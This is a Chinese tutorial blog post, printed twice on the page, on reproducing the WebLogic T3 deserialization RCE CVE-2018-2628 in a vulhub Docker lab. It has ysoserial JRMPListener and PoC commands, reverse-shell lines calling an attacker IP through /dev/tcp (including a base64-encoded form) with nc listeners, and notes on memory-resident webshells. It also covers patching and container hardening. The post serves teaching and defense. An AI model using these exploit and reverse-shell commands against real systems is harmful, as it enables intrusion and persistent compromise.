1. 项目概述为什么要在容器中复现CVE-2018-2628在安全研究和渗透测试领域复现一个已知的漏洞CVE是理解其原理、评估其影响和验证修复措施有效性的关键一步。CVE-2018-2628一个针对Oracle WebLogic Server的远程代码执行漏洞因其影响广泛、利用方式经典至今仍是安全从业者学习和研究的热点。然而直接在物理机或虚拟机上搭建一个完整的WebLogic环境不仅步骤繁琐、耗时耗力还可能因为版本、配置等问题导致复现失败甚至污染本地环境。这时Docker的价值就凸显出来了。它就像一个标准化的“沙盒”允许我们快速、干净地拉起一个包含特定版本WebLogic的靶场环境。通过Docker我们可以在几分钟内完成环境的搭建进行漏洞利用测试测试结束后一键销毁容器不留任何痕迹。这对于需要反复测试、教学演示或快速验证补丁的场景来说效率提升是巨大的。本文将带你从零开始使用Docker技术一步步搭建CVE-2018-2628的漏洞复现环境并深入解析其背后的技术细节和利用过程让你不仅能“复现”更能“理解”。2. 环境准备与核心镜像选择2.1 Docker环境搭建与基础配置在开始构建漏洞靶场之前一个稳定、配置正确的Docker环境是前提。无论你使用的是Windows、macOS还是LinuxDocker Desktop或Docker Engine的安装过程已经相当成熟。这里我以LinuxUbuntu环境为例因为它在服务器端更为常见。首先更新软件包索引并安装必要的依赖sudo apt-get update sudo apt-get install -y apt-transport-https ca-certificates curl software-properties-common接着添加Docker的官方GPG密钥和软件源curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - sudo add-apt-repository deb [archamd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable最后安装Docker引擎并启动服务sudo apt-get update sudo apt-get install -y docker-ce docker-ce-cli containerd.io sudo systemctl start docker sudo systemctl enable docker为了验证安装是否成功可以运行经典的hello-world镜像sudo docker run hello-world如果能看到欢迎信息说明Docker引擎已经正常运行。注意为了避免每次执行docker命令都需要sudo可以将当前用户加入docker用户组sudo usermod -aG docker $USER。执行此命令后需要注销并重新登录系统或者新开一个终端会话权限才会生效。这是一个关乎操作便利性和安全性的小细节。2.2 靶场镜像的选型与考量CVE-2018-2628影响的是Oracle WebLogic Server 10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3版本。为了复现我们需要一个包含漏洞版本WebLogic的Docker镜像。通常有两个选择从零开始构建下载Oracle官方安装包编写Dockerfile手动安装配置WebLogic。这种方式最灵活但过程复杂且涉及Oracle软件的许可问题。使用社区维护的现成镜像安全社区和研究人员为了方便已经构建好了许多漏洞靶场镜像。这是最高效的选择。经过搜索和对比我选择了vulhub项目中的镜像。vulhub是一个开源的漏洞靶场集合其镜像通常基于Alpine或Debian等轻量级系统集成了漏洞环境和必要的利用工具非常适合学习和测试。我们可以直接拉取针对CVE-2018-2628的靶场镜像。但在此之前为了加速拉取过程特别是在国内网络环境建议配置Docker镜像加速器。编辑或创建/etc/docker/daemon.json文件{ registry-mirrors: [ https://docker.mirrors.ustc.edu.cn, https://hub-mirror.c.163.com ] }配置完成后重启Docker服务sudo systemctl restart docker。现在拉取靶场镜像。这里我们使用一个常见的漏洞环境镜像请注意实际镜像名可能因仓库而异以下为示例docker pull vulhub/weblogic:12.2.1.3-2018这个命令会从Docker Hub拉取一个标签为12.2.1.3-2018的WebLogic镜像其内部已经预置了存在CVE-2018-2628漏洞的WebLogic 12.2.1.3环境。实操心得选择社区镜像时务必查看其Dockerfile或相关文档了解其暴露的端口、默认账号密码、WebLogic路径等信息。这些信息对于后续的访问和利用至关重要。有时不同构建者制作的镜像WebLogic的管理控制台路径或端口可能略有不同。3. 漏洞环境部署与网络配置详解3.1 启动容器与端口映射策略拉取镜像后我们需要以容器的形式运行它。Docker容器默认与宿主机网络隔离为了让宿主机能够访问容器内的WebLogic服务必须进行端口映射。WebLogic默认使用7001端口提供HTTP服务7002端口提供HTTPS服务管理控制台通常也在7001端口。因此我们将容器的7001端口映射到宿主机的任意一个空闲端口例如8080端口。使用以下命令启动容器docker run -d -p 8080:7001 --name weblogic-cve-2018-2628 vulhub/weblogic:12.2.1.3-2018逐项解释这个命令的参数-d以后台detached模式运行容器。这样容器启动后终端不会被占用。-p 8080:7001这是端口映射的核心。格式为-p 宿主机端口:容器端口。它将容器内部的7001端口映射到宿主机的8080端口。这意味着你在浏览器访问http://宿主机IP:8080时流量会被转发到容器内的7001端口。--name weblogic-cve-2018-2628为容器指定一个易于识别的名称方便后续管理如停止、进入容器等。vulhub/weblogic:12.2.1.3-2018指定要运行的镜像名称和标签。启动后可以使用docker ps命令查看容器运行状态确认端口映射是否正确。3.2 服务验证与环境访问容器启动后需要一点时间等待WebLogic服务完全初始化。我们可以通过查看容器日志来确认进度docker logs -f weblogic-cve-2018-2628-f参数可以实时跟踪日志输出。当你看到类似 “Server started in RUNNING mode” 或 “Server started.” 的日志时说明WebLogic已经启动就绪。接下来在宿主机的浏览器中访问http://localhost:8080/console。如果一切正常你应该能看到Oracle WebLogic Server的管理控制台登录页面。常见问题1访问被拒绝或连接超时如果无法访问请按以下步骤排查检查容器状态docker ps确认容器状态是Up。检查端口占用宿主机8080端口可能被其他程序占用。使用netstat -tlnp | grep :8080查看。如果被占用可以换一个端口例如-p 8081:7001。检查防火墙宿主机防火墙如ufw或firewalld可能阻止了8080端口的访问。需要临时开放端口或关闭防火墙仅测试环境建议。查看容器日志docker logs weblogic-cve-2018-2628查看是否有启动错误。进入容器内部检查使用docker exec -it weblogic-cve-2018-2628 /bin/bash进入容器然后执行netstat -tlnp查看7001端口是否在监听。通常这类社区维护的漏洞靶场镜像会设置默认的登录凭证。对于vulhub的WebLogic镜像常见的默认账号密码是weblogic/Oracle123或admin/password。尝试登录如果成功进入管理控制台则证明漏洞环境部署成功。4. CVE-2018-2628漏洞原理深度解析4.1 T3协议与JRMP的“危险握手”要理解CVE-2018-2628必须先了解WebLogic中两个核心的Java远程通信机制T3协议和JRMPJava Remote Method Protocol。T3协议这是WebLogic自定义的、高性能的富客户端协议用于在WebLogic Server集群节点之间、客户端与服务器之间传输序列化的Java对象。它基于TCP提供了负载均衡、故障转移和对象压缩等特性是WebLogic内部通信的骨干。JRMP协议这是Java RMI远程方法调用默认使用的线级协议专门用于传输远程调用的请求和响应其中也涉及Java对象的序列化与反序列化。漏洞的根源在于WebLogic的T3服务在解析传入的序列化数据时存在一个设计缺陷。攻击者可以构造一个恶意的T3请求在这个请求中“夹带”一个指向外部JRMP服务的链接。当存在漏洞的WebLogic服务器受害者处理这个T3请求时它会根据请求中的指示主动去连接攻击者控制的JRMP服务端。这个连接过程本质上是一次JRMP通信。在JRMP交互中服务端此时是攻击者会向客户端此时是受害者WebLogic服务器返回一个对象。如果攻击者在JRMP服务端返回的对象是一个精心构造的、恶意的序列化对象例如利用commons-collections库的Gadget链而受害者WebLogic服务器的类路径上又存在相应的可利用库那么在反序列化这个返回对象时就会触发远程代码执行。简单来说攻击链是攻击者发送恶意T3请求 → 受害者WebLogic解析后反向连接攻击者的JRMP服务 → 攻击者的JRMP服务返回恶意序列化对象 → 受害者反序列化该对象执行任意代码。4.2 漏洞利用链的关键组件漏洞的利用依赖于一条成熟的Java反序列化利用链通常与Apache Commons Collections库有关。该库中一些类的特性如Transformer、InvokerTransformer允许将方法调用和参数“链式”组合最终在反序列化过程中被触发执行诸如Runtime.getRuntime().exec(“恶意命令”)这样的操作。在Docker靶场环境中这些必要的依赖库如commons-collections-3.2.1.jar通常已经包含在WebLogic的类路径中为漏洞利用创造了条件。这也是为什么选择特定版本镜像如此重要的原因——必须确保环境中存在可利用的Gadget链。5. 漏洞复现实操从环境检测到命令执行5.1 利用工具准备与配置我们将使用一个经典的漏洞利用工具——ysoserial。它是一个集合了多种Java反序列化利用链Payload的生成工具。我们需要用它来生成攻击用的序列化对象。首先在宿主机或攻击机上下载并编译ysoserialgit clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn clean package -DskipTests编译完成后在target目录下会生成ysoserial-0.0.6-SNAPSHOT-all.jar文件。为了方便我们将其重命名并移动到方便调用的位置mv target/ysoserial-0.0.6-SNAPSHOT-all.jar /tmp/ysoserial.jar5.2 分步攻击流程演示整个攻击过程涉及两个终端窗口一个用于启动恶意JRMP服务攻击服务端另一个用于发送恶意T3请求攻击客户端。第一步启动攻击者JRMP监听服务在终端A中使用ysoserial启动一个JRMP监听器。这个监听器会在收到连接后自动返回一个利用CommonsCollections1链构造的恶意序列化对象该对象会执行我们指定的命令。假设我们想让受害者服务器执行touch /tmp/success命令来创建一个文件作为攻击成功的标志。命令如下java -cp /tmp/ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 “touch /tmp/success”1099是JRMP服务监听的端口。CommonsCollections1指定使用的反序列化利用链。“touch /tmp/success”最终要执行的系统命令。执行后终端会显示 “Opening JRMP listener on 1099”表示恶意JRMP服务已在1099端口就绪。第二步向WebLogic发送恶意T3请求在终端B中我们需要使用一个能够发送特定格式T3协议请求的脚本或工具。网络上有很多针对该漏洞的PoC概念验证脚本例如Python编写的CVE-2018-2628.py。假设我们已获得该脚本其核心功能是向目标WebLogic的T3端口我们映射到了宿主机的8080端口发送一个特殊的序列化数据包该数据包中包含指向我们JRMP服务假设攻击机IP为192.168.1.100端口1099的引用。运行攻击脚本具体脚本参数可能不同以下为示例python CVE-2018-2628.py 192.168.1.100:8080 192.168.1.100 1099第一个参数192.168.1.100:8080是存在漏洞的WebLogic靶场地址。第二、三个参数192.168.1.100 1099是攻击者JRMP服务的地址和端口。第三步观察结果与验证观察终端AJRMP监听器当攻击脚本发送T3请求后受害者WebLogic容器会反向连接到我们的JRMP监听器。此时终端A会显示接收到连接的日志信息。观察终端B攻击脚本脚本会显示发送成功等信息。进入容器验证攻击是否成功需要进入WebLogic容器内部查看命令是否被执行。docker exec -it weblogic-cve-2018-2628 /bin/bash ls -la /tmp/如果看到/tmp/success这个文件被创建则证明远程代码执行RCE成功漏洞复现完成。5.3 利用过程中的参数调整与技巧命令执行上下文通过漏洞执行的命令其权限是运行WebLogic服务的用户权限在Docker容器内通常是root或oracle用户。这意味着你几乎拥有容器内的最高权限。反弹Shell为了获得一个交互式的Shell我们可以将命令替换为反弹Shell的语句。例如使用bash -i /dev/tcp/攻击机IP/监听端口 01。这需要在攻击机上用nc -lvp 监听端口开启一个监听。编码与绕过复杂的命令或包含特殊字符的命令可能需要Base64编码或进行转义以确保在序列化和传输过程中不被破坏。例如可以先在本地编码命令echo “bash -i /dev/tcp/192.168.1.100/4444 01” | base64然后在JRMP监听命令中执行echo “编码后的字符串” | base64 -d | bash。6. 防御措施与安全加固实践6.1 官方补丁与临时解决方案Oracle官方针对CVE-2018-2628发布了补丁。对于生产环境最根本的解决方案是及时应用官方安全补丁CPU。补丁通常会更新核心JAR包修复不安全的反序列化逻辑。在无法立即打补丁的紧急情况下可以采用以下临时缓解措施禁用T3协议如果业务不需要T3协议可以在WebLogic控制台的“服务器”配置中禁用T3协议或仅允许受信任的IP访问T3端口。网络层隔离通过防火墙或安全组策略严格限制访问WebLogic服务器T3端口默认7001的源IP仅允许管理终端或集群内必要节点访问。升级JDK升级到更高版本的JDK如JDK 8u191以上可以利用JDK内置的反序列化过滤器JEP 290机制在一定程度上拦截恶意的反序列化操作。但这不是针对此漏洞的专门修复属于纵深防御的一环。6.2 基于Docker镜像的安全构建建议从这次漏洞复现中我们可以反思如何在构建自己的Docker应用镜像时提升安全性使用最小化基础镜像例如FROM openjdk:8-jre-alpineAlpine Linux体积小攻击面也相对较小。非Root用户运行在Dockerfile中创建专用用户来运行应用而不是默认的root。RUN addgroup -S appgroup adduser -S appuser -G appgroup USER appuser及时更新基础镜像和依赖定期重建镜像以获取基础镜像和软件包如libc的安全更新。扫描镜像漏洞在CI/CD流程中集成镜像安全扫描工具如Trivy、Clair、Docker Scout检查已知CVE。限制容器能力运行容器时使用--cap-drop减少不必要的Linux能力避免使用--privileged特权模式。7. 常见问题排查与深度技巧7.1 漏洞复现失败原因分析表问题现象可能原因排查步骤与解决方案无法访问http://localhost:8080/console1. 容器未启动或启动失败。2. 端口映射错误或冲突。3. 防火墙阻止。4. WebLogic服务启动异常。1.docker ps查看状态docker logs查看日志。2.docker port 容器名查看映射netstat检查端口占用。3. 检查宿主机防火墙规则。4. 进入容器检查进程 ps aux可以访问控制台但利用脚本执行后无反应1. 攻击脚本与靶场版本不兼容。2. JRMP服务未正确启动或被拦截。3. 靶场镜像中缺少必要的利用链依赖如commons-collections。4. 命令执行了但无回显。1. 尝试换用其他公开的PoC脚本或工具。2. 确认JRMP监听端口如1099未被占用检查攻击机防火墙。3. 进入容器查看$WL_HOME/server/lib/下是否有相关JAR。4. 尝试执行一个会产生明显结果的命令如ping攻击机需容器有网络或写文件。JRMP监听器显示收到连接但容器内未执行命令1. 使用的ysoserialpayload链如CommonsCollections1与靶场环境不匹配。2. 命令字符串格式问题。1. 尝试换用其他链如CommonsCollections2,CommonsCollections3,CommonsCollections5等。2. 对命令进行Base64编码后再在容器内解码执行避免特殊字符问题。执行命令成功但反弹Shell失败1. 容器内可能没有/dev/tcp设备BusyBox/Alpine镜像常见。2. 容器内没有bash只有sh。3. 网络策略限制容器出网。1. 使用其他方式反弹Shell如使用Python、Perl、nc等。2. 将命令改为sh -i /dev/tcp/...。3. 检查Docker守护进程或网络插件的出站规则。确认容器能访问攻击机IP。7.2 高级技巧与扩展思考内存马注入在真实攻击中攻击者不满足于执行一次性命令。更常见的是利用漏洞向服务器内存中注入一个Webshell内存马从而获得持久的、隐蔽的后门。这通常需要将一段恶意的Java类字节码通过反序列化漏洞加载并注册到服务器的某个Filter或Servlet中。复现环境也可以用于练习这类高级利用技术。流量分析使用Wireshark等工具抓取T3和JRMP协议的流量可以直观地看到序列化数据在网络中的传输形式加深对漏洞原理的理解。你会发现T3协议数据包开头有固定的t3标识。Docker网络模式的影响本次演示使用默认的bridge网络。如果容器使用host网络模式则端口映射不再需要直接访问宿主机端口即可。理解不同网络模式对漏洞利用的影响有助于在更复杂的环境中进行测试。镜像固化与分享当你完美复现环境后可以使用docker commit命令将当前容器状态保存为一个新的镜像或者编写一个包含所有步骤的Dockerfile和启动脚本docker-compose.yml。这样你就可以一键重建这个漏洞环境也方便与团队成员分享。
Docker容器化复现CVE-2018-2628：WebLogic T3协议反序列化漏洞实战
发布时间：2026/6/29 10:49:41
1. 项目概述为什么要在容器中复现CVE-2018-2628在安全研究和渗透测试领域复现一个已知的漏洞CVE是理解其原理、评估其影响和验证修复措施有效性的关键一步。CVE-2018-2628一个针对Oracle WebLogic Server的远程代码执行漏洞因其影响广泛、利用方式经典至今仍是安全从业者学习和研究的热点。然而直接在物理机或虚拟机上搭建一个完整的WebLogic环境不仅步骤繁琐、耗时耗力还可能因为版本、配置等问题导致复现失败甚至污染本地环境。这时Docker的价值就凸显出来了。它就像一个标准化的“沙盒”允许我们快速、干净地拉起一个包含特定版本WebLogic的靶场环境。通过Docker我们可以在几分钟内完成环境的搭建进行漏洞利用测试测试结束后一键销毁容器不留任何痕迹。这对于需要反复测试、教学演示或快速验证补丁的场景来说效率提升是巨大的。本文将带你从零开始使用Docker技术一步步搭建CVE-2018-2628的漏洞复现环境并深入解析其背后的技术细节和利用过程让你不仅能“复现”更能“理解”。2. 环境准备与核心镜像选择2.1 Docker环境搭建与基础配置在开始构建漏洞靶场之前一个稳定、配置正确的Docker环境是前提。无论你使用的是Windows、macOS还是LinuxDocker Desktop或Docker Engine的安装过程已经相当成熟。这里我以LinuxUbuntu环境为例因为它在服务器端更为常见。首先更新软件包索引并安装必要的依赖sudo apt-get update sudo apt-get install -y apt-transport-https ca-certificates curl software-properties-common接着添加Docker的官方GPG密钥和软件源curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - sudo add-apt-repository deb [archamd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable最后安装Docker引擎并启动服务sudo apt-get update sudo apt-get install -y docker-ce docker-ce-cli containerd.io sudo systemctl start docker sudo systemctl enable docker为了验证安装是否成功可以运行经典的hello-world镜像sudo docker run hello-world如果能看到欢迎信息说明Docker引擎已经正常运行。注意为了避免每次执行docker命令都需要sudo可以将当前用户加入docker用户组sudo usermod -aG docker $USER。执行此命令后需要注销并重新登录系统或者新开一个终端会话权限才会生效。这是一个关乎操作便利性和安全性的小细节。2.2 靶场镜像的选型与考量CVE-2018-2628影响的是Oracle WebLogic Server 10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3版本。为了复现我们需要一个包含漏洞版本WebLogic的Docker镜像。通常有两个选择从零开始构建下载Oracle官方安装包编写Dockerfile手动安装配置WebLogic。这种方式最灵活但过程复杂且涉及Oracle软件的许可问题。使用社区维护的现成镜像安全社区和研究人员为了方便已经构建好了许多漏洞靶场镜像。这是最高效的选择。经过搜索和对比我选择了vulhub项目中的镜像。vulhub是一个开源的漏洞靶场集合其镜像通常基于Alpine或Debian等轻量级系统集成了漏洞环境和必要的利用工具非常适合学习和测试。我们可以直接拉取针对CVE-2018-2628的靶场镜像。但在此之前为了加速拉取过程特别是在国内网络环境建议配置Docker镜像加速器。编辑或创建/etc/docker/daemon.json文件{ registry-mirrors: [ https://docker.mirrors.ustc.edu.cn, https://hub-mirror.c.163.com ] }配置完成后重启Docker服务sudo systemctl restart docker。现在拉取靶场镜像。这里我们使用一个常见的漏洞环境镜像请注意实际镜像名可能因仓库而异以下为示例docker pull vulhub/weblogic:12.2.1.3-2018这个命令会从Docker Hub拉取一个标签为12.2.1.3-2018的WebLogic镜像其内部已经预置了存在CVE-2018-2628漏洞的WebLogic 12.2.1.3环境。实操心得选择社区镜像时务必查看其Dockerfile或相关文档了解其暴露的端口、默认账号密码、WebLogic路径等信息。这些信息对于后续的访问和利用至关重要。有时不同构建者制作的镜像WebLogic的管理控制台路径或端口可能略有不同。3. 漏洞环境部署与网络配置详解3.1 启动容器与端口映射策略拉取镜像后我们需要以容器的形式运行它。Docker容器默认与宿主机网络隔离为了让宿主机能够访问容器内的WebLogic服务必须进行端口映射。WebLogic默认使用7001端口提供HTTP服务7002端口提供HTTPS服务管理控制台通常也在7001端口。因此我们将容器的7001端口映射到宿主机的任意一个空闲端口例如8080端口。使用以下命令启动容器docker run -d -p 8080:7001 --name weblogic-cve-2018-2628 vulhub/weblogic:12.2.1.3-2018逐项解释这个命令的参数-d以后台detached模式运行容器。这样容器启动后终端不会被占用。-p 8080:7001这是端口映射的核心。格式为-p 宿主机端口:容器端口。它将容器内部的7001端口映射到宿主机的8080端口。这意味着你在浏览器访问http://宿主机IP:8080时流量会被转发到容器内的7001端口。--name weblogic-cve-2018-2628为容器指定一个易于识别的名称方便后续管理如停止、进入容器等。vulhub/weblogic:12.2.1.3-2018指定要运行的镜像名称和标签。启动后可以使用docker ps命令查看容器运行状态确认端口映射是否正确。3.2 服务验证与环境访问容器启动后需要一点时间等待WebLogic服务完全初始化。我们可以通过查看容器日志来确认进度docker logs -f weblogic-cve-2018-2628-f参数可以实时跟踪日志输出。当你看到类似 “Server started in RUNNING mode” 或 “Server started.” 的日志时说明WebLogic已经启动就绪。接下来在宿主机的浏览器中访问http://localhost:8080/console。如果一切正常你应该能看到Oracle WebLogic Server的管理控制台登录页面。常见问题1访问被拒绝或连接超时如果无法访问请按以下步骤排查检查容器状态docker ps确认容器状态是Up。检查端口占用宿主机8080端口可能被其他程序占用。使用netstat -tlnp | grep :8080查看。如果被占用可以换一个端口例如-p 8081:7001。检查防火墙宿主机防火墙如ufw或firewalld可能阻止了8080端口的访问。需要临时开放端口或关闭防火墙仅测试环境建议。查看容器日志docker logs weblogic-cve-2018-2628查看是否有启动错误。进入容器内部检查使用docker exec -it weblogic-cve-2018-2628 /bin/bash进入容器然后执行netstat -tlnp查看7001端口是否在监听。通常这类社区维护的漏洞靶场镜像会设置默认的登录凭证。对于vulhub的WebLogic镜像常见的默认账号密码是weblogic/Oracle123或admin/password。尝试登录如果成功进入管理控制台则证明漏洞环境部署成功。4. CVE-2018-2628漏洞原理深度解析4.1 T3协议与JRMP的“危险握手”要理解CVE-2018-2628必须先了解WebLogic中两个核心的Java远程通信机制T3协议和JRMPJava Remote Method Protocol。T3协议这是WebLogic自定义的、高性能的富客户端协议用于在WebLogic Server集群节点之间、客户端与服务器之间传输序列化的Java对象。它基于TCP提供了负载均衡、故障转移和对象压缩等特性是WebLogic内部通信的骨干。JRMP协议这是Java RMI远程方法调用默认使用的线级协议专门用于传输远程调用的请求和响应其中也涉及Java对象的序列化与反序列化。漏洞的根源在于WebLogic的T3服务在解析传入的序列化数据时存在一个设计缺陷。攻击者可以构造一个恶意的T3请求在这个请求中“夹带”一个指向外部JRMP服务的链接。当存在漏洞的WebLogic服务器受害者处理这个T3请求时它会根据请求中的指示主动去连接攻击者控制的JRMP服务端。这个连接过程本质上是一次JRMP通信。在JRMP交互中服务端此时是攻击者会向客户端此时是受害者WebLogic服务器返回一个对象。如果攻击者在JRMP服务端返回的对象是一个精心构造的、恶意的序列化对象例如利用commons-collections库的Gadget链而受害者WebLogic服务器的类路径上又存在相应的可利用库那么在反序列化这个返回对象时就会触发远程代码执行。简单来说攻击链是攻击者发送恶意T3请求 → 受害者WebLogic解析后反向连接攻击者的JRMP服务 → 攻击者的JRMP服务返回恶意序列化对象 → 受害者反序列化该对象执行任意代码。4.2 漏洞利用链的关键组件漏洞的利用依赖于一条成熟的Java反序列化利用链通常与Apache Commons Collections库有关。该库中一些类的特性如Transformer、InvokerTransformer允许将方法调用和参数“链式”组合最终在反序列化过程中被触发执行诸如Runtime.getRuntime().exec(“恶意命令”)这样的操作。在Docker靶场环境中这些必要的依赖库如commons-collections-3.2.1.jar通常已经包含在WebLogic的类路径中为漏洞利用创造了条件。这也是为什么选择特定版本镜像如此重要的原因——必须确保环境中存在可利用的Gadget链。5. 漏洞复现实操从环境检测到命令执行5.1 利用工具准备与配置我们将使用一个经典的漏洞利用工具——ysoserial。它是一个集合了多种Java反序列化利用链Payload的生成工具。我们需要用它来生成攻击用的序列化对象。首先在宿主机或攻击机上下载并编译ysoserialgit clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn clean package -DskipTests编译完成后在target目录下会生成ysoserial-0.0.6-SNAPSHOT-all.jar文件。为了方便我们将其重命名并移动到方便调用的位置mv target/ysoserial-0.0.6-SNAPSHOT-all.jar /tmp/ysoserial.jar5.2 分步攻击流程演示整个攻击过程涉及两个终端窗口一个用于启动恶意JRMP服务攻击服务端另一个用于发送恶意T3请求攻击客户端。第一步启动攻击者JRMP监听服务在终端A中使用ysoserial启动一个JRMP监听器。这个监听器会在收到连接后自动返回一个利用CommonsCollections1链构造的恶意序列化对象该对象会执行我们指定的命令。假设我们想让受害者服务器执行touch /tmp/success命令来创建一个文件作为攻击成功的标志。命令如下java -cp /tmp/ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 “touch /tmp/success”1099是JRMP服务监听的端口。CommonsCollections1指定使用的反序列化利用链。“touch /tmp/success”最终要执行的系统命令。执行后终端会显示 “Opening JRMP listener on 1099”表示恶意JRMP服务已在1099端口就绪。第二步向WebLogic发送恶意T3请求在终端B中我们需要使用一个能够发送特定格式T3协议请求的脚本或工具。网络上有很多针对该漏洞的PoC概念验证脚本例如Python编写的CVE-2018-2628.py。假设我们已获得该脚本其核心功能是向目标WebLogic的T3端口我们映射到了宿主机的8080端口发送一个特殊的序列化数据包该数据包中包含指向我们JRMP服务假设攻击机IP为192.168.1.100端口1099的引用。运行攻击脚本具体脚本参数可能不同以下为示例python CVE-2018-2628.py 192.168.1.100:8080 192.168.1.100 1099第一个参数192.168.1.100:8080是存在漏洞的WebLogic靶场地址。第二、三个参数192.168.1.100 1099是攻击者JRMP服务的地址和端口。第三步观察结果与验证观察终端AJRMP监听器当攻击脚本发送T3请求后受害者WebLogic容器会反向连接到我们的JRMP监听器。此时终端A会显示接收到连接的日志信息。观察终端B攻击脚本脚本会显示发送成功等信息。进入容器验证攻击是否成功需要进入WebLogic容器内部查看命令是否被执行。docker exec -it weblogic-cve-2018-2628 /bin/bash ls -la /tmp/如果看到/tmp/success这个文件被创建则证明远程代码执行RCE成功漏洞复现完成。5.3 利用过程中的参数调整与技巧命令执行上下文通过漏洞执行的命令其权限是运行WebLogic服务的用户权限在Docker容器内通常是root或oracle用户。这意味着你几乎拥有容器内的最高权限。反弹Shell为了获得一个交互式的Shell我们可以将命令替换为反弹Shell的语句。例如使用bash -i /dev/tcp/攻击机IP/监听端口 01。这需要在攻击机上用nc -lvp 监听端口开启一个监听。编码与绕过复杂的命令或包含特殊字符的命令可能需要Base64编码或进行转义以确保在序列化和传输过程中不被破坏。例如可以先在本地编码命令echo “bash -i /dev/tcp/192.168.1.100/4444 01” | base64然后在JRMP监听命令中执行echo “编码后的字符串” | base64 -d | bash。6. 防御措施与安全加固实践6.1 官方补丁与临时解决方案Oracle官方针对CVE-2018-2628发布了补丁。对于生产环境最根本的解决方案是及时应用官方安全补丁CPU。补丁通常会更新核心JAR包修复不安全的反序列化逻辑。在无法立即打补丁的紧急情况下可以采用以下临时缓解措施禁用T3协议如果业务不需要T3协议可以在WebLogic控制台的“服务器”配置中禁用T3协议或仅允许受信任的IP访问T3端口。网络层隔离通过防火墙或安全组策略严格限制访问WebLogic服务器T3端口默认7001的源IP仅允许管理终端或集群内必要节点访问。升级JDK升级到更高版本的JDK如JDK 8u191以上可以利用JDK内置的反序列化过滤器JEP 290机制在一定程度上拦截恶意的反序列化操作。但这不是针对此漏洞的专门修复属于纵深防御的一环。6.2 基于Docker镜像的安全构建建议从这次漏洞复现中我们可以反思如何在构建自己的Docker应用镜像时提升安全性使用最小化基础镜像例如FROM openjdk:8-jre-alpineAlpine Linux体积小攻击面也相对较小。非Root用户运行在Dockerfile中创建专用用户来运行应用而不是默认的root。RUN addgroup -S appgroup adduser -S appuser -G appgroup USER appuser及时更新基础镜像和依赖定期重建镜像以获取基础镜像和软件包如libc的安全更新。扫描镜像漏洞在CI/CD流程中集成镜像安全扫描工具如Trivy、Clair、Docker Scout检查已知CVE。限制容器能力运行容器时使用--cap-drop减少不必要的Linux能力避免使用--privileged特权模式。7. 常见问题排查与深度技巧7.1 漏洞复现失败原因分析表问题现象可能原因排查步骤与解决方案无法访问http://localhost:8080/console1. 容器未启动或启动失败。2. 端口映射错误或冲突。3. 防火墙阻止。4. WebLogic服务启动异常。1.docker ps查看状态docker logs查看日志。2.docker port 容器名查看映射netstat检查端口占用。3. 检查宿主机防火墙规则。4. 进入容器检查进程 ps aux可以访问控制台但利用脚本执行后无反应1. 攻击脚本与靶场版本不兼容。2. JRMP服务未正确启动或被拦截。3. 靶场镜像中缺少必要的利用链依赖如commons-collections。4. 命令执行了但无回显。1. 尝试换用其他公开的PoC脚本或工具。2. 确认JRMP监听端口如1099未被占用检查攻击机防火墙。3. 进入容器查看$WL_HOME/server/lib/下是否有相关JAR。4. 尝试执行一个会产生明显结果的命令如ping攻击机需容器有网络或写文件。JRMP监听器显示收到连接但容器内未执行命令1. 使用的ysoserialpayload链如CommonsCollections1与靶场环境不匹配。2. 命令字符串格式问题。1. 尝试换用其他链如CommonsCollections2,CommonsCollections3,CommonsCollections5等。2. 对命令进行Base64编码后再在容器内解码执行避免特殊字符问题。执行命令成功但反弹Shell失败1. 容器内可能没有/dev/tcp设备BusyBox/Alpine镜像常见。2. 容器内没有bash只有sh。3. 网络策略限制容器出网。1. 使用其他方式反弹Shell如使用Python、Perl、nc等。2. 将命令改为sh -i /dev/tcp/...。3. 检查Docker守护进程或网络插件的出站规则。确认容器能访问攻击机IP。7.2 高级技巧与扩展思考内存马注入在真实攻击中攻击者不满足于执行一次性命令。更常见的是利用漏洞向服务器内存中注入一个Webshell内存马从而获得持久的、隐蔽的后门。这通常需要将一段恶意的Java类字节码通过反序列化漏洞加载并注册到服务器的某个Filter或Servlet中。复现环境也可以用于练习这类高级利用技术。流量分析使用Wireshark等工具抓取T3和JRMP协议的流量可以直观地看到序列化数据在网络中的传输形式加深对漏洞原理的理解。你会发现T3协议数据包开头有固定的t3标识。Docker网络模式的影响本次演示使用默认的bridge网络。如果容器使用host网络模式则端口映射不再需要直接访问宿主机端口即可。理解不同网络模式对漏洞利用的影响有助于在更复杂的环境中进行测试。镜像固化与分享当你完美复现环境后可以使用docker commit命令将当前容器状态保存为一个新的镜像或者编写一个包含所有步骤的Dockerfile和启动脚本docker-compose.yml。这样你就可以一键重建这个漏洞环境也方便与团队成员分享。
相关文章
动态规划从入门到精通：状态定义与转移方程的设计方法论
动态规划从入门到精通：状态定义与转移方程的设计方法论 一、动态规划为什么这么难——从"看懂题解但不会做新题"说起 动态规划（DP）是算法面试中公认最难的题型之一。很多人的学习路径是：看题解 → 觉得有道理 → 自己…
2026朝阳黄金回收白银回收铂金回收旧料回收怎么选？五家高实价铂金白银线下门店测评清单 + 联系方式
北京朝阳区黄金铂金白银回收门店鳞次栉比，鱼龙混杂，市民想把手头旧料变现，往往难辨真伪高低。为帮街坊邻里甄选靠谱渠道，小编实地走访朝阳各大商圈，筛选出本地优质诚信商户，整理出一份正规回收门店清单。收…
瑞萨RX MCU调试接口电路设计：JTAG与FINE连接详解与避坑指南
1. 项目概述与调试接口的重要性 在嵌入式开发领域，调试接口的设计往往是决定项目成败的关键一环，却又常常被新手工程师所忽视。我见过太多项目，功能代码写得漂亮，却因为调试接口电路设计不当，导致程序无法下载、调试器…
ThinkPHP框架SQL注入漏洞分析：从CRMEB商城审计到CVE-2024-36837修复
1. 项目概述：一次典型的企业级应用安全审计实战最近在分析一些国内流行的开源电商系统时，CRMEB这个项目进入了我的视野。作为一个基于ThinkPHP框架、功能相对完善的开源商城系统，它在中小企业和开发者社区中有一定的应用基础。安全研究者的习…
LogHub：解锁智能运维的通用日志数据宝库
